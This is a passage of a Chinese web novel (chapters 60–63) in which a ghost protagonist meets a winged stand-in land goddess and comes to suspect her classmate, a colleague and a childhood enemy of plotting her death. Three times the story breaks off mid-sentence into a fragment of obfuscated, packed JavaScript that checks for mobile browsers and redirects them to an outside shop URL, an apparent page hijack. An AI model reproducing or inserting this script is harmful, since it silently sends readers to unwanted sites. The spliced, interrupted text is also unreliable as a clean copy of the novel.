她转身就跑,决定去找豆思红。 在医院她们应该还是不会轻易动手的。 “豆豆——”白心跑到走廊上,再一次发动声爆攻击大喊道,“豆豆——” “别叫了,”刚才的女声从另一头幽幽传来,“吵死了。” 白心转过头,看见走廊的尽头站着一大一小两个灵魂,小一点的是豆思红,大的那个正一脸嫌弃地看着她。 而她并不认识她。 60.江羽依 三个鬼就这么站在走廊上互相看着。 “你……”白心转过身,看着对面和她差不多高的娃娃脸女生,说道,“你是?” 女生一脸淡漠,表情微微不耐烦,似乎是被刚才白心的大喊大叫吵到了。豆思红在她的旁边,被她一手牵着,倒是乖巧听话。 白心打量了一下女生,发现她没有穿防晒衣,只是穿着一件简单的蓝色泡泡袖和白色的半身裙。 她的头发又黑又亮,直直地垂到腰间,虽然站着,但仪态十分优雅。她脖颈修长,五官小巧精致,齐刘海下面是一双明亮的眼睛,此刻正淡淡地盯着白心。 “你不认识我?”女生说道,声音清亮。 请问您是?白心迅速在大脑里浏览了一遍她的好友文件夹,很遗憾没有一张脸对得上她。正奇怪着,女生又说道:“朱萸没有跟你讲吗?” 朱萸?白心紧皱的眉头一松,忽然想起来—— 她是代理土地婆? 正想说话,隔壁病房突然走出来一个人,不对,一个魂,直接站在了三个鬼之间。朱萸笑着跟白心打招呼:“你来啦。” 然后转头,对着另一头的女生说着:“你也来啦。” 白心看着朱萸:“你……” “好了,”朱萸和两人打完招呼,转头对着白心说道,“你加一下她,她叫江羽依,是负责管理动物亡魂的,这段时间就由她来代替我工作。” 江羽依?白心看向看起来比她大不了多少的女生,确认这就是代理土地婆了。 她又问道:“动物亡魂?那怎么……” 怎么管起人类亡魂来了。 “怎么了?”江羽衣似乎看出来白心的疑问,说道,“不可以吗?” “没有没有,”白心赶紧说道,并立即打开了手环准备添加好友,“我没有异议。” 百兽之王啊这是。白心一边启动手环一边想,既然管得了动物那管管人也不算什么,再说了,人也是动物。 手环刚打开,连续几条消息就弹了出来,其中一条就是江羽依的好友申请。 白心看着江羽依的实名制头像,才发觉对方早已给她发送了添加好友的信息。白心立即通过,看见左慈也发来了好友申请,不仅如此,连王二也发来了申请。 这是做咩啊?白心一通操作,通过了所有人的申请,她的好友列表一下多了三个人,加上之前的钟槐和朱萸,现在已经有五个人了。 算上她自己,都能凑两桌三人麻将了。 “好了,”看着白心通过了申请,江羽依带着豆思红就打算走,“我走了。” “你记得我交代你的事。”朱萸叮嘱道。 “知道了。” 江羽依似乎很不喜欢别人叮嘱她,不耐烦地回答了一句,然后问道:“哪个是你的房间?” “这个啊——”朱萸抬起手往身后一指,白心顺着看去,朱萸的病房就在她隔壁。 江羽依拉着豆思红就往朱萸的病房里走,朱萸见状也转身跟上,白心也立即关掉手环跟着她们,几个鬼走到病房里,白心发现朱萸的房间也只有她一个人——既然这样,怎么不把两个房间合并啊? “记得把她的灵魂种子发给我。”江羽依走到了窗边,牵着小孩,微微侧身对着白心说道。 “哦,”白心正在盯着那个空病床看,听见她的话后立即抬头,回答道,“我现在就发。” 一抬头,她就愣住了。 白心像看到了什么奇观一样双眼一秒睁到了最大,不可思议十分震惊地看着窗边的女生——江羽依的背上,长出了一对巨大的白色翅膀。 好美。白心微张着嘴,看见江羽依的后背脊柱上自然地生长出了一对流光溢彩几近透明的翅膀,不是蝴蝶,而像某种鸟类,翅膀很大很宽,白色羽毛繁盛丰满又根根分明,羽尖带着一点微微的黑色。 “走了。”江羽依抱起豆思红,两边的翅膀微微一扇,整个人就轻盈地飞了起来。 下一秒,两个人消失在了窗边。 白心看着两人越飞越远,嘴巴越张越大,塞一个灯泡糖都绰绰有余。朱萸目送完江羽依,转头就看见旁边的白心一副惊讶得下巴都要脱臼的样子。 “喂喂喂,”她赶紧伸手,把白心的下巴合上,“收一收收一收。” 白心闭上嘴巴,狠狠吞了口口水,转过头看着朱萸,问道:“这位江小姐,是何方神圣啊?” 死了一周了,见到的鬼也不少,她还从来没见过背上长翅膀的鬼。白心惊呆了,刚才江羽依飞走的样子还在眼前挥之不去。 “她之前是天上的一只鹤,”朱萸淡淡一笑,说道,“这辈子投胎成了人,顺便给地府打打工攒点修为。” 鹤?白心立马想起了西游记里天庭上的那些白色的鹤,问道:“你是说,她之前是神仙?” “额……”朱萸又说,“不算吧,顶多是个神兽。” “神仙要很高的修为的,她投胎成人也是为了修行啊,估计再过两世就能成仙了吧?” 这…… 白心不知道说什么,只觉得大为震撼——真有神仙下凡这个说法啊?她不禁想起了之前黑白无常给她介绍的,六道里面是有天道的。 而江羽依就来自天道。白心再次震撼,原来西游记不是演的啊? “好了,”朱萸又说道,“你以后跟她打交道的机会还多着呢,赶紧把灵魂种子给她发过去。” “……好。”白心再次打开手环,点开了背包。 背包里多了很多东西,头盔、机车、幸福小区的照片、白色葫芦……白心看到,手环里还多了一件小小的防晒衣。 是豆思红的。 看来她们已经进地府了。白心看着那件小小的衣服,想起来这次又没有说再见。 罢了。她笑了一下,点击豆思红的灵魂种子发送给好友江羽依,一边发送一边用上次和刘晓希告别时同样的理由安慰自己。 等她去投胎的时候再去和她们正式告别。 发送完灵魂种子,白心退出背包,点开了接单大厅,一点开,手环就提示她的任务已完成,扣除购买防晒衣的2000功德点,还剩1000功德点,目前的总功德为-96999点,等级为Lv2,移动速度、飞行高度和穿墙厚度等能力均有提升。 白心看着屏幕里的数字,笑了。差不多一周了,赚了3000功德。 比在人间打工强。 无意比烂,白心想,但确实比在人间强多了。一周就能赚3000,她算了一下,按这种速度,再过两三个周就能达到进入地府的下限了。 不仅如此,她也马上要转正了,她想起之前左慈说的话,之后的酬劳会比现在更丰厚。 哈哈哈哈,想到这里,白心不禁在心里仰天大笑,快哉快哉,谁爱当人谁去当吧!反正她更愿意做鬼。 在人间不仅赚不到几个子,连功都被别人抢了! 她想起刚才的赵志雄,心情一下就不好了,恶狠狠地瞪着眼睛。 朱萸站在白心旁边,看见她的表情一会儿晴一会儿阴,一会儿微笑一会儿眼珠子都要瞪出来了,以为她中邪了,赶紧拍了她后背一巴掌:“喂,你咋了!” “噗——”白心被这一巴掌拍得差点吐出老血,“咳咳咳——你干嘛——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986779|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 朱萸放下手,说道:“我以为你疯了,又哭又笑的。” “你才疯了,”白心翻了个白眼,捂着胸口平复气息,“我只是想起了一些高兴和不高兴的事。” “什么高兴事?”朱萸选择问前者。 手环还没关闭,白心点开“新任务”,发现系统还没有给她派单。她关掉手环,回答道:“当然是升职的事啊。” “升职?”朱萸问道,慢慢走向自己的病床。 “不是鬼节要到了吗?”白心也跟着她,边走边说,“我的邻居,就是住在二楼的那个捉鬼师,邀请我加入她们。” 朱萸坐在床边,看着一脸兴奋的白心,又问道:“你说住你二楼那个人叫什么?” “左慈,”白心微微低下头,看着坐在床沿的土地婆,“怎么了?” 她想起来,上次朱萸就说觉得左姐气场不对。 “没有,”朱萸摇摇头,“我只是想起来,那天晚上你们在幸福小区,就是她救了你们吧?” 幸福小区?白心眼珠子一转,回忆了一下,想起来那天晚上确实是左慈用捕灵网救了她们,也是她开车送她们回去的。 “是啊,有什么问题吗?”白心不解,在她看来左姐没有任何问题,有钱又善良,强大又温柔,说是完美之人也不为过。 “我不知道,”朱萸再次摇头,“昨天去找你,下楼的时候路过二楼我就觉得不对劲。” “她家的磁场很奇怪,我说不上来,不像人类该有的磁场。” “嗯?”白心有点惊讶,“不像人类?” 什么意思?是说左姐不是人吗?白心眉头微皱,又问道:“人类的磁场是什么样的?” “哎呀,”朱萸抠了抠脑袋,说道,“跟你说了你也不懂,等我去查查吧。” 说完,她作势就要往床上躺。 “你干嘛?”白心赶紧问道。 “医生要来查房了,”朱萸白眼一翻,说,“我再不回到身体里,他又该让我多住几天院了。” 听见此话,白心往后面一看,才看到朱萸后面躺着她的身体。同样被包成了粽子,但顶级建模还是顶级建模,白心看着被纱布裹得紧紧仍然高挺的鼻梁和流畅的脸型——好吧,贵有贵的道理。 贵的东西唯一的缺点就是贵。白心笑了一下,说道:“好吧,那你好好休养,之后我就和江羽依对接了。” “嗯。”朱萸点点头,往后一倒,身后的美女就睁开了眼睛。 土地婆朱萸睡了,人类朱颜醒来了。 “……嗨?” 白心看着美女的眼睛,尝试打招呼,“看得见我吗?” 她不确定作为人类的土地婆还看不看得见她啊,毕竟不是每个人都有钟槐那样的阴阳眼。 美女呆呆地看着天花板,没有听见她的话。 果然看不见。 “吱呀——”身后的门被推开,白心被吓得一抖,立即倒退几步,直接贴在了墙上。 医生来了。 头顶微秃的主治医师带着一群实习生轰轰烈烈地来查房,白心站在墙边看着乌泱泱的一群人,恐人症又犯了,转身就往外跑。 门没有关,她跑了出去,然而一道身影直接穿过了她,径直走进了朱萸的房间。 等等—— 白心愣在了原地,脑子里“叮——”地一声,记忆的开关再次打开。 “抱歉,”身后的人发现走错了房间,不好意思地对着一群医生说道,“走错房间了。” 她退出来,再一次穿过白心。白心抬起头,看着那个熟悉的人走向了她的病房—— 徐珊。 61.徐珊 白心站在朱萸的病房前,侧过脸看旁边正在礼貌敲门的女生。 “您好,”女生边敲边自我介绍道,“我是白心的同学。” 真的是徐珊。 白心的双眼微微睁大,有点不可置信。 她的变化好大。 白心看着站在她病房前的人,高中的记忆海啸一般从脑海深处开闸狂流,那个因为迟到而站在教室门口浑身颤抖的女生在这一刻和她眼前的人重叠。 踩点这项技能并非白心天赋异禀,而是她高中时在班主任数不清的冷眼和嘲讽下苦练出来的绝技。在她无数次的迟到和踩点的摇摆之中,在她跟无数一起站墙边挨批的同学之中,有一个女生令她印象十分深刻。 这个女生就是徐珊。 那时候的徐珊很胖。比起瘦得像猴的白心,徐珊不仅过胖,甚至胖得不健康。 像山一样沉重的高考压力压在每个人身上,十七八岁的孩子们第一次面临人生如此巨大的考验,每个人或多或少都会出现一些异常反应。 白心的异常反应是干呕。不知道从哪一天开始,早上起床之后她开始止不住地干呕,呕了快一年,高考结束之后才终于慢慢恢复正常。 徐珊的异常反应就是发胖。 那时候白心没有过多注意这个经常坐在角落一言不发的女生,只是偶尔从后门出去上厕所的时候会路过她、课间操或体育课的时候间或瞟到她、在教室后面打扫卫生的时候时不时看到她。 而徐珊就在白心的这许多偶尔、间或和时不时里,一天天地胖了起来。 直到某一天她和白心一样迟到,直挺挺地出现在教室门口、出现在全班人的注视里、出现在同样迟到在旁边罚站的白心的全部视野里,白心才注意到—— 她竟然这么胖了。 徐珊低着头,紧紧咬着嘴唇。班主任一言不发,只是冷眼看着,她就害怕得浑身颤抖。 对迟到习以为常的白心在一旁冷静地看着这个紧张得脸都涨红了的女生,她低下头,看见徐珊的双拳紧握,两腿也微微发抖着,再抬起头,发现徐珊不仅脸红了,连眼圈都是红的,整个人的状态十分不正常。 那个时候白心不知道这叫应激,只是觉得不正常。但在每个人都不太正常的氛围里,这反而是一种正常。 班主任说了徐珊几句,就放她进去了。白心还在外面罚着站,等着挨完批再进去。 除了空间里的照片,那一次迟到就是白心对她的全部印象。在所有人都认为这个坐在角落不怎么说话、因为迟到就抖如筛糠、脾气和性格都软得跟稀泥一样的女生很好拿捏的时候,只有白心看了出来,徐珊是个狠人。 她沙包大一样紧握的拳头、她狠狠瞪着的红眼圈、她因为随时准备战斗而颤抖的身体——她不是稀泥,她是硬邦邦的钢筋水泥。 没有向外的发泄途径,她只能向内吞噬。在每个人因为承受不了压力而哭泣、呕吐、大喊大叫痛苦哀嚎的时候,只有她一言不发,把压力内化了。 她把自己变成了山。 门开了,陈灵再一次为到访者打开了门,这次登场的是白心多年不见的高中同学。 白心站在原地,看着苗条纤瘦的女生走了进去。 一波人进,自然就有一波人出。白心看到徐珊进去,舅舅舅妈出来了。不同于刚才的满脸笑容,两个人的脸色铁青,似乎是吃了个大瘪,甭说笑了,连假笑都装不出来了。 白心笑出了声。 对不起,她想,明知山有虎你们还偏要去惹她,这是你们自找的。 无意幸灾乐祸,但白心确实很想笑,一想到向来不待见她舅一家子的陈灵是怎么发动她那管制刀具般的嘴冷嘲热讽他俩——她竟然觉得有一丝痛快。 俩人没在陈灵那里讨到好,转头就要把情绪发泄给小孩—— 小孩不在。 白心站在走廊上,看到舅舅青蛙般的脑袋三百六十度转了一圈也没找到白子涵,瞬间暴怒,抄起电话就开始夺命连环CALL。 电话接通,白子涵在手机那头不耐烦地应付他爸:嗯嗯嗯、好好好、知道了、就来就来、在路上了。 电话挂断,两个大人在走廊上狂做深呼吸平复情绪,肚皮一鼓一缩的样子更像青蛙了。 白心笑完,冷眼看了一会儿两个大人,走向了自己的病房。 和多年没见的老同学共处一室都比和她血脉相连的亲戚站在同一条走廊上舒服。 白心走进房间,看见徐珊坐在那张空床上,陈灵则坐在她的床边,和徐珊面对面交谈着。 白心看着空荡的房间,一眼就明白了—— 陈灵没给舅舅舅妈椅子坐。 牛。 窗帘被陈灵拉上了,然而太阳还是很大,隔着一层玻璃和窗帘拼命地想往房间里挤,整个病房被照得通亮,金碧辉煌。 徐珊就这样淡淡地坐在床边,神情也是淡淡的,说话语气也淡淡的:“是您接的电话吗?” 她进去已经有一会儿了,两人不知道聊了什么。 “是的,”陈灵笑了笑,回答道,“她的手机暂时被我保管着。” 手机? 白心站在墙边,朝床头看去——她的手机确实在那里,完好无损。 竟然没摔烂。她想的不是手机在陈灵手里,而是自己的身体都稀烂了手机竟然没烂。 国货之光啊,她想,下次还买你。 “请问您是她的?”徐珊又问道。 “好友。”陈灵再次回答,同时问道,“你们是高中同学是吗?从来没见过你。” 开始了,白心看着陈灵,知道开始了,她开始查户口了。 “啊,是的,”徐珊淡淡一笑,回答道,“我来这个城市才两个多月,我们互相约了很久,但总是因为有事没约上。” 陈灵点点头,等着她继续说。 徐珊:“我本来是想今天约她看看,结果您接了电话,我才知道……” 白心明白了。是陈灵帮她接了电话,这才有这么多波人轮流来看她。 “我知道白心挺喜欢摄影的,”徐珊又说,“麻烦您等她醒了转告她,要是她想,随时可以来我家拍照,我们的约定一直算数。” 听见这话,陈灵挑了挑眉,回头看了一眼还在昏迷中的白心。 没想到吧。白心看着陈灵有点东西的表情,心里大笑了几声,心说你以为我每天举个手机是在瞎拍吧。 她懒到永远没正形、对什么都不在乎无所谓的样子可谓深入陈灵的心。陈灵是执行力超强的三次元超人,而白心是活在幻想世界的半个纸片人,好像活着又好像死了,对现实世界没什么热情,仿佛怎么样都可以。 然而就是这样的她,竟然喜欢摄影。 拍花拍草拍动物,拍成群结队的蚂蚁、树叶缝隙里的阳光、尘土飞扬的老街……稀奇古怪的角度、莫名其妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994788|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的对象、活的也好死的也罢,无论什么,都可以成为白心手里的素材。 她自己也很难解释,为什么明明很讨厌这个世界,却要像很热爱一样不停地拍摄、记录。 不停地想要留下什么。 反而是三次元浓度超标的陈灵相册里总空空如也,什么也没留下。 “好,”陈灵回答,像看邻家女儿一样看着徐珊,“等她醒了,我会让她多去找你玩。” 白心愣了一瞬。 陈灵不理解她的爱好,但是选择了尊重。 “那就这样了,”徐珊站了起来,礼貌地对着陈灵挥了挥手,“阿姨再见,她醒了一定要第一时间通知我。” 白心这才看见,徐珊给她带来了很多东西,她的脚边有很大一个袋子,里面似乎是吃的。 好丽友派。满满一袋的好丽友派。 白心再次愣住了。 她看着那个露出一角的熟悉配色的包装盒,心里像地震一样瞬间地动山摇。 徐珊竟然记得她最爱吃好丽友派。 陈灵也站了起来,两个人慢慢往外走。她们路过墙边的白心,白心看见徐珊微微笑着,眉眼舒展,整个人十分平和。 她腰背很直,肩颈很放松,垂直的手臂下是不再紧握的双手,白心看着她健康良好的体态——这些年,她把自己打开了。 她不再是那个教室门前全身都紧绷着的、坐在角落里常年缩着自己的女孩了。 陈灵把人送到门口就不送了。 白心不由自主地追了出去,徐珊的变化实在是太大了。她跟在她的后面,心里止不住地震惊。 这不只是身体上的变化,白心跟着徐珊走进电梯,看见她伸出手指按了一楼。此时电梯里只有她们俩了,徐珊抬起头来,看着电梯显示屏上的数字发呆。 她的皮肤很白,侧脸棱角分明,尽管在发呆,眼神也是淡淡的平和的。 这是人格上的变化。 徐珊享受着电梯里的静谧,不知道想到了什么,嘴角微微勾起,然而眼睛却没有任何情绪流露。白心站在另一边,看见徐珊笑了,却不知道她在笑什么。 这些年,她经历了什么? “叮——”电梯门开,徐珊走了出去。 白心也走了出去,虽然不知道去哪,但莫名她就是想多看看徐珊。两人从住院部出来一路往外走,徐珊的个子没比她高很多,走起路来却是飞快,虽然看起来速度均匀,但平均速度快得吓人。 白心三步并作两步、甚至开始小跑着才能努力跟上她,她在徐珊身后七八米的样子,眼看着就要跑出医院,身后却传来了几个熟悉的声音。 白心立即回头,看见舅舅舅妈在她的侧后方,一个叉腰一个伸手,双管齐下地训斥着白子涵。 该! 白心在心里骂了一句就转回了头,心想你们一家子就互相伤害去吧。 然而就是这一转头,让她看到了此生难忘的场面。 徐珊已经走上了斑马线,朝着马路对面狂奔而去了,白心还站在医院的大门口,两人之间的距离越来越远。因为奔跑,徐珊的长风衣被风吹得鼓了起来,长发也飘了起来,整个人洒脱又欢快,她越跑越快,越跑越快,最后一头扎进了马路对面男人的怀里—— 白心站在原地,看见那个男人抱着她,整个人都往后仰了一下,戴着的银丝眼镜也因为被撞而歪到了一旁。 是赵志雄。 62.罗生门 天一下子黑了,此时是中午十二点整。 乌云棉被一样盖了过来,狂风卷起,徐珊的卡其色风衣被吹得飞了起来,比她刚才奔向赵志雄的时候更加飞扬。 赵志雄抱了一会儿,随即放开了她,顺便帮她拿下了包背上了。两人手牵着手,看见即将下雨,于是又松开了手,开始从包里拿伞。 周围的人们开始发出阵阵惊呼,都在讶异怎么大中午的突然天黑了。 有伞的已经撑开了伞,没伞的则抱着头向医院或旁边的商铺跑,纷纷准备躲雨。白心站在人来人往的医院门口,没有伞,也没有跑。 马路对面的情侣已经找到了伞,此时不知道说了什么忽然笑得前仰后合,一边撑开伞一边狂笑着。透明雨伞撑起,徐珊挽着赵志雄的胳膊,赵志雄一手举着伞一手提着包,两人不知道在等谁,没有伸手拦车,也没有离开的意思。 身后舅舅舅妈的声音越来越大,白心站在原地,却没有听见白子涵反驳的声音。 天空一半灰一半黑,地面上瞬间长出了五颜六色的伞,织锦一样五彩斑斓,丝滑地流动着。穿西装和风衣的情侣手里也有伞,一把透明的、刚刚好容纳两个人的身体和所有亲密的伞,和白心的防晒衣颜色一模一样的伞。 身后的两个大人也掏出了伞,一边打伞一边大声命令旁边的小孩赶紧进来。小孩刚被骂过一顿,叛逆如同此刻的大风般疯长,把衣服的帽子往脑袋上一罩就开始朝斑马线狂奔。 “白子涵!”大人愤怒喊道,边喊边追着小孩。 白心仍然站着,白子涵直接穿过了她,她看见他戴着连衣帽的黑帽子,径直跑向了前面的斑马线。 红灯亮起,车流不息,被大人烦扰的小孩不顾一切就要冲进车流之中,一场被拍烂的家庭伦理惨剧即将上演,下一秒,上帝拿起遥控器按了暂停。 绿灯亮了。 所有的车停了下来,静静等着人群通过。 然而小孩却不走了。 举着伞的人群匆忙走向对面,遮挡住了白心的全部视野。两个大人追了上来,一家三口在她面前半米筑成了一堵墙。 爸爸和妈妈吓坏了,两个人轮流教训着乱跑的小孩,边吵边拉着他的胳膊试图把人拉走。 熟悉的声音从右边传来,白心转过头去,看见从最近的便利店里走出来一个干练的女人,边拆着她手里新买的伞边打电话。 张蔷。 钱一茜没有在她身边,两人似乎是分开了。她一边打伞一边打电话,步伐飞快,声音洪亮,符合她一贯的作风。 左边也传来了耳熟的声音,白心再次转头,看见了一个熟得不能再熟的黑色身影。穿着黑外套的女人没有打伞,一边打电话一边把身上的衣服紧紧裹了裹,她的肩膀像两把薄刀,锋利得似乎随时能把衣服划破,她的左脚有些跛,左边脸上有一道长长的红色疤痕。 高姐。 白心眉头一皱,想起刚才上午在百花市场前看到的人。 两个女人从不同的方向向她而来,一左一右地站在了她的旁边不远处,似乎是准备过马路。 白心转回了头,发觉这三个人还堵在她面前。白子涵一言不发,她看不见他的表情,不知道是不是风吹的,他整个人都微微颤抖着。 红灯又亮了,车流再次奔涌,把马路两边的人隔在了两个世界。 “你疯了?你找死吗?”爸爸拉着儿子的胳膊,怎么也拉不动,白子涵的脚像被钉住了一样一动不动,寸步不离。 妈妈在一旁打着伞,一边把伞举到儿子头上一边说:“你是不是不要命了?” 不愧是白家人,都在唱白脸,没人唱红脸。两个人一左一右同时开弓,把白子涵骂得狗血淋头。 白心看着自己前面演情景剧一样的三个人,笑了。她向前走了几步,径直穿过了白子涵的身体,走到了斑马线的第一条线上。 这家庭剧她早就看够了。 车辆和她擦肩而过,然而她感受不到任何的冲击和摩擦,一堵墙她尚且穿得过,何况这种铁皮架子。只要她想,直接走过去也没有任何问题。 但她不想。 马路对面的人还没有走,两个人共同举着一把透明大伞,安静地站在道路边沿,藏在其他准备过马路的人群之中。女人看着手机,男人时不时抬起手腕看一眼表,又微微弯腰,侧过脸看着驶来的车辆。 天越来越黑了,即将降下大雨。白心站在斑马线上,被偶尔经过的大车短暂遮挡一下视线,对面的情侣就在她的视野里明明灭灭,出现又消失。 是她。 白心的眼睛一动不动,直直地看着徐珊。高姐的话语在耳边响起,她告诉她,有个女孩来找她借解酒药。 那个晚上,出现在她家的是徐珊。 没有任何证据,也无法当场对质,但此时此刻,她的大脑里有个声音无比清晰,告诉她那个人就是徐珊。 “是的,”略微沙哑的声音在左后方响起,白心一惊,猛地回头,隔着白子涵和舅妈之间的缝隙,她看见高姐在侧后方打着电话,“我正好在医院门口,我来看看你们吧。” 电话挂断,高姐把手机拿在手里,白心隔着缝隙看去,她的通话栏最上面一个名字是“朱颜”。 她们竟然交换了联系方式。 屏幕熄灭,高姐轻轻一笑,把手机放回了口袋,转身朝着医院去了。白心保持着回头的姿势没动,仍然盯着高姐刚才站过的位置,白子涵的半边身体就这样站在她的余光里。 两个大人还在不停说着,白心看到,白子涵垂下的左手慢慢紧握成了拳,用力过大甚至微微颤抖着。 她想起来了。赵志雄说,那个晚上,白子涵和他打了一架。 交警吹哨的声音响起,白心知道马上又要绿灯了。正打算转回头,她就听见白子涵轻轻说了一句什么,同时松开了拳头,随后小臂慢慢举起,举起,一直举到了胸口。 白心也跟着他的动作聚焦目光,看着白子涵举到胸口的左手。同样的,她也看见了他的表情。 两个大人对着他的左右耳朵狂轰滥炸,然而白子涵像没听到似的,神色不屑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999981|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛一动不动地盯着马路对面。 他轻笑了一下,然后伸直手掌,弯下四指—— 比了个中指。 “神经病!”一旁的父亲终于看不下去了,拉着人就往旁边走,只剩下白心在他的中指里震惊。 因为她听见白子涵很轻,很轻地说了三个字。 杀,人,犯。 和她一样震惊的不止一个人,白心转过头,看见绿灯亮了,车流再一次暂停,马路对面戴银丝眼镜的男人终于发现了刚才的男生,此时的表情相当精彩。 张蔷终于打完了电话,看见绿灯之后几个大步就往对面走去。 赵志雄还处在发现白子涵的惊讶中,但旁边是微微好奇的女朋友,前面迎面而来的是他的领导—— 笑也不是,恭敬也不是。 白心看到他的表情十分分裂,一会儿惊讶一会儿强装淡定,同时还有点惊慌,一边想举起手迎接领导,一边手里提着女朋友的东西又不想放下,演技十分拙劣。 杀人犯。 白心看着赵志雄,脑海里不断地回荡着刚才白子涵说的三个字。 赵志雄是杀人犯。 她又看向旁边的徐珊,她的表情还是从容淡定的,此时看见了张蔷,倒是比赵志雄更上道,立马微微弯腰点头打了个招呼。 刚才的好丽友派浮现在眼前,连同高中时的徐珊也浮现在眼前,白心看着马路对面脱胎换骨的女人,视线忽然变得模糊。天已完全黑了,雨也蓄势待发了,白心看不清徐珊的脸,如同此时她对她的感觉。 三人汇聚,简单打了招呼后张蔷作势要走,然而却立即被赵志雄拉住了。 白心站在马路这头,看见她们往旁边站了站,完全地站在了临时停车点路牌的下面。 在等人。 张蔷接受了两人的送行,和两个人一齐等着来车,三个人排排站,似乎都感觉到了雨势应该很大,都歪着头看着驶来的车辆。 赵志雄似乎是等的不耐烦了,终于掏出手机开始拨打电话,他背对着两个女人,脸上是掩饰不住的戾气,和他伪装出来的样子天差地别。 赵志雄杀了谁?此时此刻,白心终于无法逃避之前那个总是在她脑海里萦绕的恐怖设想。 不,是赵志雄要杀谁? 等了很久的车终于来了,白心站在原地,看见一辆黑色的车停在了三个人的面前。车主没有关上窗户,他的侧脸无遮挡,此时此刻完完全全地显现在了白心的视野里。 是我。 “轰隆——”巨大的雷声滚滚而来,同时一道白色闪电劈了下来,路上的行人被吓得一抖,只有白心没有动。 她站在白色的斑马线上,看见黑车关上了窗户,金属外壳发出了噼里啪啦的声响,反射出一种微微的白色光芒。车主的脸在她眼前挥之不去,在人人都低头躲避闪电的时候她反而抬起了头,彻底看清了开车的人。 何威。 噼里啪啦——巨大的声响在马路上响起,欢快的跳跃的密集的仿佛在跳踢踏舞。 下雨了。 63.神谕 玉米粒一样的雨滴砸在地面上,炸开成一朵朵爆米花后四散逃走,和其他的爆米花汇聚,形成了一条条小溪。干涸的大地立马被水淹没,白心站在原地,脚底淌过潺潺水流。 红绿灯不断变化,车辆停停走走,行人举着伞,低着头步履匆匆,偶尔穿过白心,和溪流一样流淌过她的身体。 她淋不到雨,一副空的身体,心也是空的。 徐珊,赵志雄,何威。白心一动不动,心里像被人掏空了般没有感觉,眼前不断回放刚才上车的几个人。 幼儿园仇人,职场同事,高中同学。白心看着马路对面那辆车停过的地方,想,你们是朋友? 还是盟友。 赵志雄在病床前一言不发的表情以及上周五给她敬酒举杯时的微笑浮现在眼前,白心猛地打了个寒颤,浑身开始止不住颤抖。大风呜呜吹着,她感觉不到,却浑身冰凉。 “白心。” 一把伞伸了过来。 她抬起头,一把黑色的大伞正笼罩着她,为她挡住了头上的雨。 她颤抖着转过头,看见一张熟悉的微笑着的脸。 左慈。 二楼的人气场不对。朱萸的话再一次浮现在耳边,白心微微仰头,看着左慈温和的笑脸,忽然觉得可怕。 她的人生本就苍白,然而却充满了骗局。刚才的三人让她感觉到一种彻骨的恐惧,哪怕从未与他们交过心,却还是避免不了落入陷阱。 好丽友派是真的,水果篮是真的,刹车坏了是真的,这一切的背后却是虚假的。 徐珊不止是她的同学,同时也是赵志雄的女朋友;赵志雄不止是她的同事,更是想要害她的杀人犯;何威也不止是来自幼儿园的仇人,而是捏住了她本就狭小的关系网的可怕之人。 那么你呢? 大雨滂沱,白心盯着左慈的眼睛,想,连你这个温柔强大的邻居,也是假的吗? 一米八的左慈穿着黑色大衣,举着黑伞,站在黑暗的天空下,静静地看着旁边散发着白色光芒的矮小的灵魂。 “我们走吧。”左慈微微一笑,举着伞转身,却没有抬脚,而是等着白心先走。 白心低下头,不再看左慈。她转身向前走去,忽然失去了力气,仿佛被刚才的恐惧掏空了心力。 她无力地向前走着,却又好像飘着,整个人没有一个支点和重心,仿佛随时能晕倒。 此时此刻,她变成了一具真的游魂。 “合同我后天会带来,”左慈跟在她的旁边,边走边说,“距离鬼节只有五天了,我们要抓紧时间。” 白心却听不进去,只是麻木地往前走着。住院部门口挤满了躲雨的人,周围也都是不断往前跑着试图加入躲雨大军的人,没有人注意一身黑的左慈在和谁说话。 “你听见了吗?”左慈又说道,她看着旁边走得十分慢的游魂,眉头微皱。 白心还是没有回答。 她已经听不见旁边的人在说什么,或者说她根本不想听她在说什么。刚才在病房门口看见徐珊的那种惊讶和微微惊喜的感觉已经完全没有了,被一种十分无力的感觉替代。 “白心!”左慈的脚步一顿,停在了原地。 她的声音本就洪亮,此时加大了音量更是穿透力十足。哪怕周围的雨大得像在打鼓,她的声音也不容忽视。 “白心!停下来!”她又喊了一遍。 白心已经走出了左慈的伞,淅淅沥沥的雨不断流进她的身体,和她的力气一样流走。白心站在原地,前面五米是密密麻麻躲雨的人群,回过头,身后是举着伞和大树一样站着一动不动的左慈。 左慈皱着眉,低着头看着一脸麻木的白心,说道:“白心,打起精神来。” 她的目光虽然凌厉,但却充满悲悯。 这样的眼神很真。 白心看着她的眼睛,再一次被她的眼神说服,问道:“什么事?” 